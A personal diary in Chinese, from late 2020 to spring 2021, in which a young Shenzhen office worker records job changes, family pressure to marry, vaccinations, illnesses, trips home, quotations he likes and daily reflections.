16:26民政部数据显示，2018 年中国单身成年人口已经超过 2 亿，独居成年人口超过 7700 万。与此同时，年轻人仍然在努力地试图进入恋爱。《2019 年第一季度单身人群调查报告》显示，38% 的单身男女首次相亲年龄不足 23 岁，24% 为 23 岁至 25 岁。但是，虽然做出努力，90 后恋爱经历不足 2 次，95 后平均空窗期超过 2 年。平均相亲 5 次，年轻人才可以遇见爱情，结束单身。
小时候接种的乙肝疫苗，抗体失效了，于是今天下午去社康中心接种第一针乙肝疫苗：
- 酿酒酵母型疫苗：￥60/针（医保报销）
- 厂家：深圳康泰
- 接种服务费：￥25（不支持医保报销）
我选择了分三次接种：
- 第二针接种时间是 2021-01-12
- 第三针接种时间是 2021-06-12
重大疾病保险第四期保费 ￥5490 缴费完毕，过年发红包都没底气了。
20:25社康 18:00 就下班了。
2020-12-13
社康给「幽门螺旋杆菌」的治疗意见是一段时间的吃抗生素：
- 克拉霉素片一瓶（自费 ￥32.1）
- 奥硝唑片三盒（医保报销 ￥6）
- 诊查费（医保报销 ￥10）
咨询学医的同学后，放弃社康的方子，改用三联治疗药（枸橼酸铋钾片/替硝唑片/克拉霉素片组合包装），一盒 ￥32，买了两盒，吃两周。
2020-12-14
最近患上了拖延症，改善的第一步就是放下手机。
我没有办法工作只是为了打工赚钱。by 播客《博物志》主理人婉莹
老爸太无聊，每次都把相亲对象的照片发在群里，搞得我特别尴尬。
这世上最常见的有两种人。第一种，我们所谓的傻白甜，他们眼里的世界特别简单，不懂得人心险恶，不懂得各种错综复杂，他们往往是理想主义者，最后被现实教训的鼻青脸肿。第二种，所谓老油条老江湖，他们太了解这个世界的规则和逻辑，所以各种委曲求全，各种曲意逢迎，从表面上看，他们似乎左右逢源，四处得利，但午夜梦回，他们也会扪着胸口问问自己，这是曾经的理想和追求么，假面之下，自己究竟在哪里。能够理解世界的复杂，能够认清各种灰暗和隐晦的人性及商业逻辑，却又能保持简单的心态和追求，做好自己，但求无悔，无问西东，这其实是一种境界。这样的人，屈指可数。by 曹政
大一：穿越火线、植物大战僵尸
大二：斗地主
大三：开始写作，就戒了游戏。我是全班为数不多不会玩英雄联盟/王者荣耀的男生，因为生怕自己陷进去。
天气转凉了，骑摩托车，寒风刺骨。
2020-12-15
想要改变，却窝在被窝里看视频，虽然冬天来了，但这不是享乐的理由。
23:18为了获得和桌面浏览器一样的去广告体验（大部分是露骨的 NSFW Ads），我再次在手机上装了 Kiwi Browser。
2020-12-16
父亲发来第四个相亲对象（大我两岁）的联系方式，还是老家那边的。
21:072020-12-17
昨晚睡得不安稳，做了很多千奇百怪的梦。
价值感是安定的来源。
人生如钟摆，在无聊和痛苦中徘徊。by 叔本华
2020-12-18
我为什么不能享受冬日傍晚的阳光。
16:52祝自己和朋友们：
- 身体健康（这个最重要）
- 笑口常开（好彩自然来）
- 工作顺心（找到价值感）
2020-12-19
周末加班培训，收获不小。
2020-12-20
终于等到周末，上午躺在床上看电影《阳光普照》，然后下楼吃一份早午餐：猪脚饭（￥15）。
12:14我在小宇宙 App 的播客（无业游民：068 迷迷糊糊的工作的意义）下留言：毕业三年，我换了 6 份工作，在多个行业反复尝试，下个月是第 7 份工作。
收到支吾自愈的回复：
可能每个人对频繁换工作的认知和归因不同吧。我也是毕业三年换了好几份工作，前两份没有仔细思考就进去了，觉得总于可以靠自己养活自己了，做到后面发现销售类工作我适应不了，然后就辞职了。后面去了学校代课去做了宣传文员。兜兜转转现在在准备考教师编。换工作的过程我感觉就是寻找自己愿意扎根的土地，可苦中作乐，还能获得养活自己的金钱以立足于社会。频繁换工作不算失败者呀，反而在做出辞职的决定时需要很大的决心和勇气，因为你无法预见辞职后会有怎样的际遇，有可能一直向上有可能会一蹶不起（现实也不是二极管，存在很多种情况），风险和机会都向你涌来。在寻找自我的途中没有啥失败者和成功者之分啦。如果我打的这些字，让你不舒服，那我提前和你说声抱歉，祝愿你平安喜乐（第一次打这么多字，hhh）。
我答道：
毕业前我是实习小编，以为可以写字为生，没想到商业写作是多么得言不由衷。
毕业后我回到专业相关的行业，一名普通的电表硬件测试工程师。按部就班，一眼望到头的机械式工作，不能发挥我的主观能动性。于是转行到市场部，去全国各地来办展会，也发现这些都是虚假的盛会，夸大其词，空无一物。因为行业遭到冲击，整个市场部被裁员。
为了养活自己，以及还贷，我去了市中心同行公司，但是每天几小钟的通勤时间，实在太痛苦了，决心离开这个行业。
我开始思考自己能做什么？百感焦虑，随便选了离「睡眠仓」很近的创业公司，做起了外贸业务员，骗自己可以聊聊英语（并不会）。为人诚实，不善话术，所以业绩惨淡。在很长时间里，基本只有我一个员工，团队无法组建起来，只好离开。
姐夫的创业公司向我抛出「橄榄枝」，但是没想到这是「手榴弹」，炸掉了我和他十几年的亲人关系。当了采购员之后，深刻意识到中国供应商的言而无信。商场险恶，分道扬镳。
现在又回到外贸行业，一位网上认识的朋友介绍的工作，一天的通勤时间加起来要 3 个钟。也是一个火坑，同事们无精打采，也开始慢慢消磨我的工作激情。
综上，我可能不适合做一个销售员，因为我不太会撒谎。如果一个产品，我自己都不会买，或者不会推荐家人用，让我利用信息差促成订单，于心不忍。
我也去报考过教师证，但是报名审核不通过，忘记去补交信息。另一个方面，在辅导晚辈做题的过程中，那一套应试教育的做法依然是主流，泯灭学生的创造力，于是没有再次报考。
我做出选择，我就应该承受带来的结果，「享受」苦难，多经历总不是坏事，总是对不起父母的殷殷期望，这是我唯一不能说服自己的一点。
我还是抱着要找一份对自己，对他人，对社会，对世界……有意义的工作。我应该还会探索，生命不息，战斗不止。
她又回复道：
哈哈哈哈，好家伙，你直接给了我一份超级大礼包哇！还想着毕业前文字小编说不定我们是同一专业，没想到后面来了个急转弯 嚯，原来是工科的同志。我因为自己数学不行所以对理工科的人一直有种油然而生的敬佩感，实在是佩服可以扎扎实实学数学还能学得好的人。
我前两份销售工作就是因为无法骗过自己的真实感受，主要说说第二份工作吧（第一份就干了一个半月）：需要厚脸皮给客户打电话发微信推销产品（我同事嘴皮子很溜，可以把它夸得天花乱坠我不行）。管我的领导还让我主动抓好身边的人脉，那时候刚毕业朋友同学哪有啥钱买这个，心里对此很排斥，总感觉这样像直销的套路。然后大领导还会时不时来巡视，最恐怖是夜班，下了班我们员工还得陪他们去吃夜宵喝酒，不去还不行。最后我同事都拿下了好几个客户，我就排倒数第一。这些种种让我发现我适应不了销售类的工作，然后就和上级领导辞职了，年轻气盛和她撕破了脸才得以走人，现在想想也挺对不起她的。
去乡镇学校代课有苦有甜，学生很多是留守儿童，爷爷奶奶遇到孩子问题大部分都直接说让我们老师想想办法，其实也能理解他们这种行为，就是觉得很心累很疲倦。学校领导经常开会，上面经常有人来搞巡查，再加上各种大大小小的检查和杂活（比如扶贫和配合其他部门做一些事），这样给我们备课上课的时间其实不多。甜的事情是那时候班上女生很乖，学习方面不需要我们老师操心。有可能因为我小学也住过校所以在班上说过她们如果生活上有什么事情需要帮忙的可以私下告诉我，能帮的我肯定会帮。有段时间她们很多人腿上都被虫子咬了（宿舍后面就是山，夏天特别多虫），一个一个的鼓包。刚好我房间里备着一些蚊虫叮咬的药，就把那些女孩子喊到我房间让她们照着灯搽药膏。也是因为这件事，我感觉自己打开了她们的话匣子，仿佛一位知心大姐姐，啥都可以聊。最意想不到的是班上一个和我搭班说要回家种田然后直接砸东西的男孩子，居然在过了一年的毕业前夕给我搭班写了一封信还送了一个布娃娃。这事是我搭班微信上和我说的，那时候我在另一所学校代课。我们两个人都特别惊讶，接着又听她说班上那位从不叫我们的男生现在遇到了她会停下来客客气气地喊一句老师，听到这些真的觉得那时候的辛苦是值得的。现在再回想那一年的代课经历感觉时间过得好快，那些孩子都上初中了，也很遗憾没有好好磨练自己的教学，不然他们会学得更明白，知道的更多。
现在考编（四线城市的小县城编）是因为那份宣传工作做得很压抑，上面要检查的材料很多是造假以及凭空捏造出来的，稿件也是生搬硬套，我看不到它的意义所在。然后其他类型工作不是要胆量就是要经验和技术，想了想还是教师这份工作更能找到自己的价值感。
啊，发现自己写了好长好长啊，主要是你的经历让我深有同感，像是找到了组织。身边的朋友同学不是结婚就是有了自己甘于奋斗的未来目标，他们对自己的人生规划如此清晰明了，而我毕业了那么久都还没摸透自己想要什么，所以导致我偶尔会有羞耻感涌现心头。很佩服你的勇气，每份工作都是不同的行业，跨行太考验人的决心了，你真的超级棒，我要向你学习，生命不止奋斗不息。
感谢你的这份超级大礼包。哈哈哈哈，好久没有这样敞开心扉地交流了，感谢感谢你的回复。愿我们万事顺心，大吉大利。
以上要是有错别字和语病请多多包涵。 最后提一嘴，我的理想就是做一位终身学习者。嘿嘿(•̀⌄•́)
我接着回复：
其实我偏文，数理化并不好，选择理科是因为我不想背书，有男生跟我打篮球。
我也无法胜任国内的销售工作，送礼，喝酒，明暗各一套。难道就不能简单的生意关系吗？
能下乡当老师，认真对待学生，你也让我非常敬佩。我非常明白那种助人为乐的成就感，我也经常收到网友的感激之情，使我觉得我还有自己存在的价值。
你可以试试写文章/写日志，我写了几年文章后，如何向读者说清楚一件事情，慢慢上道了。
我也很讨厌这一套，所以我违抗家人的规劝，一直不去考公务员。
如果把婚姻排除在外，人生还是很简单。但是我最近被催婚，我的爸妈一直给我介绍相亲对象，目前失败 2 个。
迷茫和不安是人生的常态，不要太担心。
所以我平时不打游戏，总有一种学习焦虑。但我应该开始专注某个领域，才能形成自己的核心竞争力。
2020-12-21
熬夜，性奋。
00:342020-12-22
同事 Linda 跟我聊了一个钟，畅快。
我的父亲在手把手叫我谈恋爱。
21:48老妈总是留很多饭菜给我，撑得我睡不着觉。
23:532020-12-23
努力工作。
2020-12-24
很久没有地铁坐过站了。
2020-12-25
不要被贪婪的公司动机所吸引，不要投入全部的时间和精力，这绝对会导致您毫无正当理由地失去自己的一生。by Jonathan Carter，Debian 项目负责人
看透不美好仍相信美好，见过不善良却依旧善良。
2020-12-26
开摩托车把狗子送给豆瓣网友，回来的时候，还有3 km 才到家，但是车子没电了，刚好地铁口有充电桩。
2020-12-27
周末去蹭饭，吃得好撑。
2020-12-28
今晚又吃撑了。
2020-12-29
近期很压抑，没啥表达欲。
借给了一个以前的供应商 ￥100，因为之前我帮他 P 图，他给了我 ￥88。
23:572020-12-30
二姐又在家庭群里说「养狗坏处多」，这次没忍住，多说了几句：
抖音就是一个吞噬时间的怪物，一旦你看过某类感兴趣的视频的，就会疯狂推送。仅仅从一个视频，就得出草率的结论，剥夺了思考的能力。并不是要批判转发「耸人听闻」的小视频不好，只是认为，过于放大其中的某个论断，你就是被引导的人，被垃圾信息投喂的人。
媒体和社会舆论都在上层的控制之中，我们很难得到真实可靠的信息源，所以少发表观点，多寻找事实。别信哪些没有来源的消息，时间应该浪费在美好的东西上。
别忽视了导盲犬的价值，随着都市人愈发冷漠的社交氛围，也别忽视了狗狗陪伴价值。有文明养狗的，也有不文明养狗，就像有好人和坏人。
为什么人类的生命就是高高在上，其它物种都是低级的？（新冠）病毒作为最低级的物种，最简单的物种，甚至不能算生物。人类不尊重大自然，自然也会得到应有的惩罚。所以幸我们有现代医学，不然在劫难逃。
2020-12-31
2020 年我还是没有找到奋斗目标，换了两次工作，收入也继续下降。
我不谈对象的最大的原因：
- 主要是没钱，准备地说还没有一个可以持续挣钱的能力，虽然父母在大城市为自己备了婚房。
- 婚姻太可怕了，我自己都还没玩够。而且维持一段感情，需要我去包容她的不科学，不理性，不客观。
- 自己样貌一般，又矮又丑，现在的女孩子稍微打扮一下，我就觉得配不上她。也可能是因为单身太久了，姑娘一个个变得眉清目秀起来了。
2020 年我过得很差，2021 年我希望可以承认自己是个平凡人，不多做事，少空想。
2021
2021-01
2021-01-01
早上睡到十点多，然后去大姐家吃饭，接着包饺子 🥟。
大学同学 CGF 又过来深圳跨年了，下午约好了一起打篮球。我们气喘吁吁，我们不亦乐乎。最后时刻，我一个三分跳投绝杀，真的太开心了。
常规节目刮刮乐，CGF 这次没中，ZXT 斩获 5 元。
吃完火锅，斗地主。夜已深，回不去。简单洗漱，挤挤睡了。
2021-01-02
一张单被，冻醒几次。睡到中午，外卖伺候。爬山路远，被窝看片。下午时分，CHQ 带着一箱「德州扑克」过来助兴。这一次，我终于成了最大的赢家，收入一百多元。
2021-01-03
睡醒了。
11:46下午和 LS、ZZL 去壹方城买衣服。LS 还是那么年轻靓丽，ZL 在社会捶打之下，眼神扑朔。祝愿我们都能快点找到人生的方向。
2021-01-04
2021 年上班第一天，要加油哦。
09:10依旧没激情，还被老板批评了。
要给父亲换手机了，一个要求，屏幕小一些。
23:272021-01-05
窝囊废，快快振作起来。
23:332021-01-06
戴上口罩后，姑娘们似乎都好看了许多。
2021-01-07
无缘的你啊，不是来得太早，就是太迟。by 席慕容 《莲的心事 》
关于如何交到朋友？我的做法是「花香引蝶」：
- 让自己丰盈（终身学习）
- 真诚地交流
- 帮助 Ta 人
2021-01-08
好好工作，别想太多。
23:202021-01-09
雯 Raven：到底如何更快乐？
- 姚胤米：不要去想 “我为什么活着”。
- 管艺雯：不要去想 “我失去了什么”。
- 程曼祺：有时可以想一想，“不快乐也没关系”。
- 高洪浩：有时可以想一想，“我怎么可以好看成这样”。
- 岳国斌：把挣扎与抵抗当成一个开心的事儿，毕竟这样才是活着嘛。
- 宋玮：对多数人可能需要更自信。
内裤都破了，或者给狗子咬破了，添置 3 条过年。
2021-01-10
又把周末荒废了，只做了一件有意义的事：打篮球。
2021-01-11
太冷了，冬天不适合坐在冷板凳上玩电脑。
23:072021-01-12
WYR 远道而来，我给 Ta 的手机翻墙。作为回报，Ta 请我吃了一顿烧烤。
00:362021-01-13
人生苦闷，出路在哪？
2021-01-14
今天去考察了工厂，增加了不少信心。
2021-01-15
躺了一个钟睡不着，来一发（Masturbation），让头脑冷静一下。
01:24难道是因为喝了茶 🍵？
我的青春回来了，因为我脸上长痘。
2021-01-16
今天周六要上班，但是闹钟只设置了工作日，但我还是七点多就醒了。
为什么老板喜欢买发财树？
老爸每天很积极地为媒人拉票（网络评选活动）。
斜杠青年的潜台词就是干啥啥不行。
2021-01-17
花了 ￥30，买了全套盗版外贸课程：米课 2020。为了从百度网盘中实现批量转存，花了 ￥10 块钱，买了普通会员。
下午见了网友 LK，说好素颜，却化了妆。Ta 很健谈，跟我聊了很多关于那个「狗眼看人低」的亲戚。Ta 和同龄，也不想结婚，想去探索人生的更多可能性。
16:472021-01-18
遇到两条小狗，我用吹口哨的方式呼唤 Ta 们过来，没有奏效。
2021-01-19
一低头，就会天旋地转。一躺下，也会。
因为播客，左耳也听懵了，现在嗡嗡的。
身体在报警，Cheer up.
2021-01-20
我讨厌下面这种标题：
- 当我们谈论 *** 的时候，我们在谈论 ***
- What We Talk About When We Talk About ***
因为这种啰嗦的句式不能提供信息增量。
2021-01-21
今晚不想学习，躺在床上玩手机好了。
21:42你住的城市下雨了，很想问你有没有带伞。可是我忍住了，因为我怕你说没带，而我又无能为力，就像是我爱你，却给不到你想要的陪伴。by 宫崎骏
2021-01-22
终于开单了：10 台电动滑板车 🛴，总计 2800 USD。
2021-01-23
梦见女孩了。
2021-01-24
去社康接种第二针乙肝疫苗，本来 12 号就应该接种的。
2021-01-25
看到地铁座位上有不明液体，应该是奶类饮品。下车换站前，我拿纸巾去擦拭，但是用了三张纸巾都无法吸收干净，于是就纸巾留在座位上，做个明显的脏物标记提醒。
今天是新历生日。
2021-01-26
《进击的巨人》第一季，观看完毕。
00:412021-01-27
今天去买包子和鸡蛋，发现店家已经打烊回家了。春节，真的临近了。
2021-01-28
沉迷追剧。
2021-01-29
沉迷追剧。
2021-01-30
等待《进击的巨人》最终季第八集播出。
2021-01-31
出来跟网友常有玫录了一期播客。
18:28把父亲的小米 5 手机换成红米 Note 9，感觉还不错。
把衣服脱光了，并且放进洗衣机开洗了，才发现没打开热水器的加热开关。
2021-02
2021-02-01
颈椎被查出有问题，买个乳胶枕，改善一下。
2021-02-02
目前就养了一条斗鱼（自己从老家鱼塘捞的），只有一只眼睛，其它斗鱼可能被 Ta 打死了，只有 Ta 顽强地活在现在。
I am tired after a long day of work.
2021-02-03
小米 6 的 GPS 失效了，看来不得不去换手机了。
最近上班比较认真，Push-up（俯卧撑）做少了。
2021-02-04
GJL 每每面对苍凉的时候，总会想起我。这不，昨晚梦见我在深夜街头给 LJJ 做题。
想做就去做吧，终于有勇气在公众号上发文了。
2021-02-05
收到读者 LYC 的 ￥88 微信红包。
今晚开始节食减肥，没有吃米饭，买了鸡蛋 🥚，青瓜 🥒 和玉米 🌽。
用力过猛，把厕所刷子的塑料手柄弄断了。
2021-02-06
好饿。
00:02和姐姐们去看商品房。心得之一就是，能交易的房产是普通人为数不多的财富杠杆。
2021-02-07
电影《幸福终点站》真好看。
01:192021-02-08
扔了很多不穿的旧衣服，爽。
电影《完美的世界》节奏很慢，不容易看进去，需要细细品。
01:36离开公寓睡眠仓，独留一条独眼斗鱼守空房。
10:56出发，回家。
14:10到家了。
18:36最胖的短裤，现在都穿不上了。
2021-02-09
忙忙碌碌备年货。
2021-02-10
下雨了，继续备年货。
外甥 PS 喜欢在抖音看做菜视频。
22:262021-02-11
贴春联，无聊的祭祀活动。廉价的红纸，看似喜庆的文章，华而不实。
6 岁外甥 PY 许了个愿，现在的小舅是小帅，希望可以再帅一点。
庭哥，新春快乐！一年以来一直默默的关注着庭哥关注着群组等，感谢庭哥无私分享的优质信息和方方面面的指教，带着我们过好数字生活，非常受教，学到很多！特别喜欢庭哥的文字风格和品格，并且永远是庭哥的铁杆粉丝！！！新的一年愿庭哥不忘初心，继续加油，祝福庭哥以及家人们幸福安康！by K!ng
伟庭牛年大吉，工作顺利，身体健康，万事如意，阖家欢乐。by LYH
新年快乐！祝你早日脱单，有个小舅妈。by CFD
2021-02-12
今天在大姐的号召下，开了一个家庭会议，谈了买房、创业和结婚等话题。也让我别在打工了，不如去当个辅导班老师，翅膀硬了之后，自己创业。
我一直呆在舒适圈，无欲无求，得过且过。要再次转行吗？这麻烦不断的人生。
00:342021-02-13
外婆的声音很洪亮，加油。
2021-02-14
小时候姐姐要早起去河边洗衣服，回到家后，看我没起床，就会把冰冷的手伸进我的后背。
今年的情人节，有情人。
2021-02-15
输了二百，三楼继续战，神公保佑。
以前打牌之前，先打一桶水，谁输了喝一大杯水。
还没赢回来，睡了。
01:322021-02-16
炸金花纸牌游戏终于结束了，不用被迫作为牌桌配角了。赢回一百五十元左右。
好多年去深圳大梅沙，没涂防晒霜，回来后，整个后背脱皮了。那些掉在地上的皮，收集起来，有两只手捧起来那么多。
2021-02-17
尽力去追求一个喜欢的人，以前我没有这么做，这次我不想错过。
和妈妈姐姐去给茶树施肥，泥土的芬芳，让人开心。
2021-02-18
今天家里来了很多亲友，真是热闹，借机吃到自家的鱼生。
2021-02-19
把纯纯写作 App 的笔记全部整理了一遍，该删的删，该转移的该转移。
00:34老家里的公鸡 🐓 开始叫了，我应该闻鸡起舞哝陈颖吗？
01:02出发，返深。
10:38到了。
14:36又到了职业路径的十字路口，焦虑，无助。
23:022021-02-20
没有必要美化过去的感情记忆。
突然对米饭 🍚 失去了兴趣，啥都不想吃。
12:16刚刚看完了《火影忍者》的大结局 720 集，从初中看到现在，终于完结了，Happy Ending。
22:562021-02-21
蟑螂（德国小蠊）太多，花 ￥28.9 在「五先生奇货铺」买了杀蟑胶饵，希望有效果。
07:45把厨房里不用的锅和罐子都扔了，眼不见为净。
把房间大灯关了，只开一盏小米 LED 随身灯，让人心情宁静。
2021-02-22
午休 15 分钟就醒了。
2021-02-23
好烦呀，能不能直接睡觉，不用思考如何挣钱的问题。不过，能睡得着吗？
2021-02-24
同事生日，下馆子庆祝，上菜之前，来了一局桌球，我获得季军。
突然有了软肋，以前自己混得再差，都可以放过自己。
我五姐去年买的二手小绵羊（当时已经骑了 8 万公里），给我骑了半年多，现在换个电池（￥380，换后刹没收钱），继续做代步工具。
22:11修车老板前几天还跟他老婆讨论到「几个月没见到我」了。啊，被人记住，就是一种幸福。老板边修边谈，话题广阔，相聊甚欢。
2021-02-25
每天早上总有那么一两只蚊子喝足我的血。
2021-02-26
美剧是《权力的游戏》，日漫是《进击的巨人》，都是人类文化的瑰宝。
今天去买菜，老乡阿姨跟我说道，过年本想给你介绍一个对象，没想到你把我的微信删了。这可真是误伤，我一点印象也没有，可能是因为没备注。
2021-02-27
努力，奋斗。
23:102021-02-28
在我大概一二年级的时候，家里影碟少，其中有一部电影叫《小飞侠》（1995 年上映，里面有吴孟达饰演的好心人角色），我反反复复地看，也不觉得腻。
自己去买衣服，无从下手，就买了一条优衣库最新的高弹力 DRY-EX 吸湿排汗九分裤（￥249），不过相当于我的十分裤。
2021-03
2021-03-01
人生该往哪里走？迷茫呀。
2021-03-02
继续沉沦，该死的拖延症。
2021-03-03
早上吃得太多，中午吃个苹果 🍎，刚好可以减肥。
How to find work I love?
2021-03-04
这几天都会午休都会做梦。今天梦见手上有一只小白鼠，爪子利，然后「疼」醒了。
洗完澡，只穿着内裤，一上秤，68.000 kg，过年前是 70 kg 以上。
2021-03-05
一天又过去了，啥计划也没有推进。
2021-03-06
年轻的时候不知道钱的好处，将来是要吃亏的。
一整天都在公寓里，没有出门。上午在招聘网站浏览岗位，不知道自己适合什么职业。外贸做了接近 2 年，但也许太善良的人，都不适合做生意；下午看 YouTube 视频，讲中国改革开放的故事；晚上看电影《本杰明・巴顿奇事》，一天就这么过去了。都要结婚的人了，心思还不在养家糊口上。一念及此，就想扇自己耳光。从明天开始，要开始做个上进的人，给 Avin 创造体面的生活。加油，阿庭，你可以的！
2021-03-07
吃了晚饭，穿着衣服，一上称，67.9 kg。
2021-03-08
生日快乐呀，阿庭 🤩，是踏足二十七岁的日子，往后也要心情靓靓，身体棒棒，想要的都拥有。
00:00昨晚冰箱门没关紧，这个月的电费又要飙升了。
收到 TSW 的生日快乐（￥27）。
09:1427 岁了，希望自己：
- 多多锻炼，不能发福
- 多放点心思在挣钱上
- 少焦虑遇到的困难
2021-03-09
迟到的生日快乐🎂：事事顺利，喜乐平安。by ZT
养成一个习惯，出门前跟墙上的 Luffy 打个招呼。
2021-03-10
唯一可以定义我的尺度，不在于我在一个社会的通用体系下，是否优秀或成功；也不在于当我和过去的自己相比时，我是否不断在突破和进步。而在于我有没有在生命的每一个当下去关注内心，倾听热爱的信号，让热爱而不是恐惧来指导我的人生。by《不要让追求优秀成为生命的陷阱》
2021-03-11
If something in life brings you joy, then you simply have to do it, regardless of what people say. by 《海蒂和爷爷》
现在都会在六点多醒来，以前是接近七点被闹钟吵醒。
以前生猛，午休可以睡一个钟。年纪来了，最多睡半个钟，就睡不着。还出现了幻听，以为手机在震动。
每个职业最终都是蒙骗外行人的勾当。by 萧伯纳
在 Boss 直聘认识一位做药物（大麻）防童锁的老板，会是我的伯乐吗？明天请假去会会。
2021-03-12
有点兴奋，但是也要睡了。
01:36起来打蚊子。
02:16啊，还没睡着。
02:42面试完毕，感觉有得搞。
提出辞职。
15:092021-03-13
公交距离我五步之遥，但是我却不想赶上去，呼唤司机等一等。
08:31这期聊起催婚的话题也非常引人共鸣，也就是上周末我妈催婚催着催着，越想越气，把自己气哭了。
以前我可能标榜喜欢孤独，享受孤独，但现在对孤独这词其实有了更多理解，我想没人喜欢那种孤独，也没人想看母亲流泪，我如果为人父母，也不想看到自己孩子最后孤独老去。by 城堡 109 - 南百城
2021-03-14
拉了臭臭 💩，没吃早饭，一称，66.8 kg。
2021-03-15
昨晚梦见自己开车到小村子，然后没有宽敞的掉头位置，尝试了各种方法后，就醒了。
深圳地铁的列车安全员会提醒不文明的乘客调低外放音量。
2021-03-16
睡不着。
01:00白天工作太认真，今晚回到家不想学习了。
2021-03-17
我放下了蚊帐，赶走了蚊子，结束这一天。
2021-03-18
昨天梦到和堂弟 ZBB 一起骑车去某个城市工作，到了半路才发现行李都没拿。
今天下班，我说骑电动摩托车回家，女同事说顺路载她一程呗，并说她不会感到不好意思。
更换摩托车的总闸开关，花了 20 元。
把门前门前的鞋柜扔了，因为房东说放着逃生窗户。
2021-03-19
明天周六上午要上班。
2021-03-20
没有学习，总是在看电影。
2021-03-21
和前同事 JYF 出来吃了一顿饭。27 岁的她处在结婚的十字路口，大她 4 岁的男友却对婚事漠不关心，让她对未来满怀疑心。
15:40然后去附近会见了几位抱团取暖（合租）的大学同学。他们还是老样子，嘻嘻哈哈的。
2021-03-22
周一上午不上班，真奇怪。
2021-03-23
总会幻想自己某个时刻洞悉宇宙的奥秘。
2021-03-24
摩托车油机动车道终于被抓了，罚款 ￥50。
08:512021-03-25
楼下的幼儿园放的歌真难听，坏了起床的心情。
08:22刚刚网格管理员让我安装国家反诈骗中心 App，如果不完善资料，就要抓去培训。
你已成功订阅端传媒新闻通讯，和我们一起探索新的阅读可能。我们会从下一个工作日开始为你寄送邮件。端传媒新闻通讯，在社交媒体尘埃中冷静地观察，在信息混杂的时代里，给你可靠的陪伴。打包端每日全部内容，投入邮箱，陪你阅读。自由道路漫长，我们一起开端。
23:422021-03-26
我妈妈会叫我阿庭子（滋），这是一个充满乡愁的小名。
上班开始懈怠了，要振作呀，阿庭子。
00:21明天早点起来学英语吧。
2021-03-27
下午打球都不能安安心心，觉得浪费时间，因为会挣钱的人都没时间运动。
2021-03-28
下午四点去篮球场，没人，灰溜溜地跑回来。
突然想起几姐弟小时候中午吃完饭看一些武侠连续剧，然后匆匆去上学。下午放学回来我是先去放牛，然后用柴火烧洗澡水，有时会背背课文，然后就和哥哥一起看《猫和老鼠》，冬天是一边洗澡一边看电视。晚上一起看《倩女幽魂》，每次没看完，就被赶去睡觉。
冬天的时候，姐姐早上洗完衣服，看到我还在睡觉，就把手伸进我的后背，冰醒我。
2021-03-29
回忆总会抹去坏的，夸大好的，也正是由于这种玄妙，我们才得以承担过去的重负。by 马尔克斯说
2021-03-30
要不要去考街道社区工作者呢？真是烦人。贼气的么要挣钱呀？
某些事情正在我心中发生深刻的变化。（28 岁）退休后，我不再说无必要的话，认识无必要的人，成为社会要求我成为的某些角色。我意思到自己拥有了某种高度的自由，在这种自由的框架下，亲密关系甚至也变得毫无必要，开放式关系的结果却是断绝关系，我不再需要恋爱，更不会选择婚姻。自由是轻飘的，以至于任何浮于其上的事物都成了重担，金钱，感情，家族，人们所理解的自我，通常由这些自我之外的东西所联系与定义，但当自我真实而毫不留情地受到审视时，它却如此空空荡荡。by 郭宇
2021-03-31
午休 10 分钟就醒了，然后这 10 分钟还能做一个梦。这种状态持续一段时间了。
2021-04
2021-04-01
老板请同事们去胡桃里音乐餐厅，现场有歌手，氛围真不错。
2021-04-02
热醒了，出汗了，起来打了 5 只蚊子。
02:31回老家。
12:50到家了。
18:10作为代表，去叔叔家喝了两大杯白酒（40% 的干邑白兰地），现在走路晕乎乎的。
田间虫鸣蛙叫，我和侄女躺在星空下。唤一声，侄女就会把薯片放到我的嘴巴里，巴适。
20:08讨厌喝酒，现在头晕。
侄女突然跑过来跟我说：「叔叔，我爱你。」
2021-04-03
早上睡到八点钟，吃了早饭，帮忙上个屋的奶奶收拾杂物间。午饭后，睡到三点钟，做了一个很甜很猛的梦。接着去扫了两个墓，我的镰刀差一点伤到哥哥的手臂，真是一个冒失鬼。晚饭又被拉去喝酒，以及被当成光盘使者胡吃海塞。太撑了，下次我要及早离开餐桌，暴饮暴食，伤害身体。
饭后坐在门前，一片蛙声，晚风习习，真是舒服。
23:592021-04-04
穿越荆棘，爬到山顶，给祖先扫墓。要是显灵，请保佑后人安康。
跟侄女比赛谁先跑回家，然后她输了，就躲在门前生闷气。还跟奶奶告状说我不听话。
18:29我就像一颗面包树，一下子爬满了孩子。
2021-04-05
出发，返深。
10:14想要拥有一辆小汽车，这样我就不用听俗套的抖音歌曲，过上播客自由的通勤生活。
到深圳了。
17:562021-04-06
房间里的蟑螂消失了。
2021-04-07
工作的激情，如何找回来。晚上回来，也不想学习。早点躺下，睡大觉。
2021-04-08
为了防止视力骤降，我还是把眼镜带起来吧。
努力。奋斗。
19:232021-04-09
安排工作，要有先后顺序。
2021-04-10
又躺了一天。
2021-04-11
浴室墙壁上养了一只斗鱼，万一有一天 Ta 成精了，跟我说的第一句话会是什么呢？
2021-04-12
《绝命毒师》（Breaking Bad）观看完毕。
2021-04-13
早点睡觉，明早起来学习。
2021-04-14
还是没有早起，楼下幼儿园的儿歌又吵又难听，坏了一天的好心情。
2021-04-15
不要害怕出错，沟通才能前进。
2021-04-16
居然抢到了 Redmi K40（12GB + 256GB，亮黑色） 。
10:002021-04-17
周六没有幼儿园的儿歌，但楼下的废品回收站又在熙熙攘攘，还是鸣笛大马路，我当初怎么选了这么一个地方租房呢。
2021-04-18
梦见去一位朋友家做客，因为棉被放在 Ta 那里了（其实并没有）。
自己交社保好了：￥825.95。
地上都是被电蚊拍烤焦的蚊子 🦟 尸体，于是把地板脱了一遍，还加了除味剂。
终于看完了《进击的巨人》漫画。
16:00额头低烧，眼睛发热，身体发冷，躺在床上，盖着被子。希望明天起来，精神满满。
20:542021-04-19
打起精神，安心上班。
2021-04-20
起床时间定为幼儿园的放歌时间。
2014 年 1 月 20 日，去老家隔壁小镇，为了生理健康，隔了包皮，还是第一次做手术。
翻开旧物，发现两本无偿两本献血证（AB 型）
- 一本是高三，2012 年 1 月
- 一本是大二，2014 年 10 月
那时，我高兴地告诉家人，结果被臭骂了一顿。
二十岁生日，我对自己说：更有魄力，更有心志。
2021-04-21
今天起来，没有一个蚊子跑进蚊帐。
午睡的时鼻塞，很快做了一个梦。太空中，有一枚威力巨大的导弹已瞄准地球，然后我就吓醒了。
下班前花几分钟想想今晚吃什么，看几分钟看看做菜视频，到家前买齐食材，到家后就不用纠结今晚吃什么了。
2021-04-22
红米 K40 到手，相机不给力，调试到凌晨一点多。
2021-04-23
